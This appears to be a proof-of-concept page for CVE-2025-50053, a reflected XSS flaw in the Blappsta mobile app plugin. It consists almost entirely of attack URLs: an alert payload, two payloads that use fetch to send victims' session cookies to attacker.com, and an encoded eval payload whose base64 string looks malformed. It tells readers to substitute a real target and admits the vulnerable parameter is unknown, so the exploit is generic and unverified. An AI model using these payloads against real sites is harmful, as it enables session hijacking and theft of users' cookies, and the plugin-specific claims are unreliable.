CVE-2025-50053 Blappsta移动应用插件反射型XSS漏洞

<!-- CVE-2025-50053 Reflected XSS PoC --> <!-- Attack URL that exploits the XSS vulnerability in Blappsta plugin --> <!-- Basic Reflected XSS payload --> https://vulnerable-site.com/?param=<script>alert(document.cookie)</script> <!-- More sophisticated payload for session hijacking --> https://vulnerable-site.com/?redirect_url=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Alternative payload using event handlers --> https://vulnerable-site.com/?callback=<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <!-- HTML encoding bypass payload --> https://vulnerable-site.com/?q=<script>eval(atob('YWxlcnQoJ1hTUydexp'))</script> <!-- Note: Replace 'vulnerable-site.com' with actual target URL --> <!-- The actual vulnerable parameter name needs to be identified through testing -->